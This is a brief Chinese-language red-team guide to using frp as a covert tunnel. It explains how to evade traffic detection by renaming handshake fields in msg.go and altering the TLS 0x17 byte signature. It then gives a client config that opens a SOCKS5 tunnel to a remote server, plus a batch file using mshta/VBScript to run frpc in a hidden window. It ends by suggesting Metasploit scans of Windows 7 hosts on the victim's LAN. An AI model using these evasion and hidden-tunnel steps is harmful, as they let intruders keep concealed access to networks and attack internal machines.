0x01 frp可优化的点
- .ini配置文件泄露服务器信息
- 非TLS特征明显
- frp 建立 TLS 连接的第一个字节为 0x17
- 客户端的留存的配置文件较敏感
0x02 优化
.ini配置文件泄露服务器信息
- 路径: /frp/pkg/msg/msg.go
frpc在连接认证frps的时候回把frp的版本信息等等发给frps进行认证。
``json:"version"修改为
json:"a"`来逃避流量识别,以此类推
非TLS特征明显
- frpc.ini 加入tls_enable = true
从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tlsenable = true 来启用此功能,安全性更高。为了端口复用,frp 建立 TLS 连接的第一个字节为 0x17。通过将 frps.ini 的 [common] 中 tlsonly 设置为 true,可以强制 frps 只接受 TLS 连接。
第一个字节为0x17导致虽tls但特征明显
-
篇幅较长,推荐此参考链接,第一个字节为0x17的特征修改
如果是最新版frp,0x17的变量改名了,注意区分
客户端的敏感配置文件
目前我知道的是3种解决办法,自选即可
0x03 frp使用
-
配置文件和frp根据自身使用情况修改,比如添加域前置或研究使用其他协议进行传输
-
服务端配置文件及启动,后台运行参考使用nohup命令或者以服务运行
[common]
bind_port = 80
- 客户端配置文件及启动
[common]
server_addr = x.x.x.x
server_port = 80
protocol = tcp
tls_enable = true
[plugin_socks5]
type = tcp
remote_port = 6006
plugin = socks5
windows后台运行的bat参考代码
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
c:\frpc.exe -c c:\frpc.ini
此时连接服务端的socks5端口即可代理客户端的流量
以msf为例,扫描的IP为与客户端机器同一网段的其他windows7机器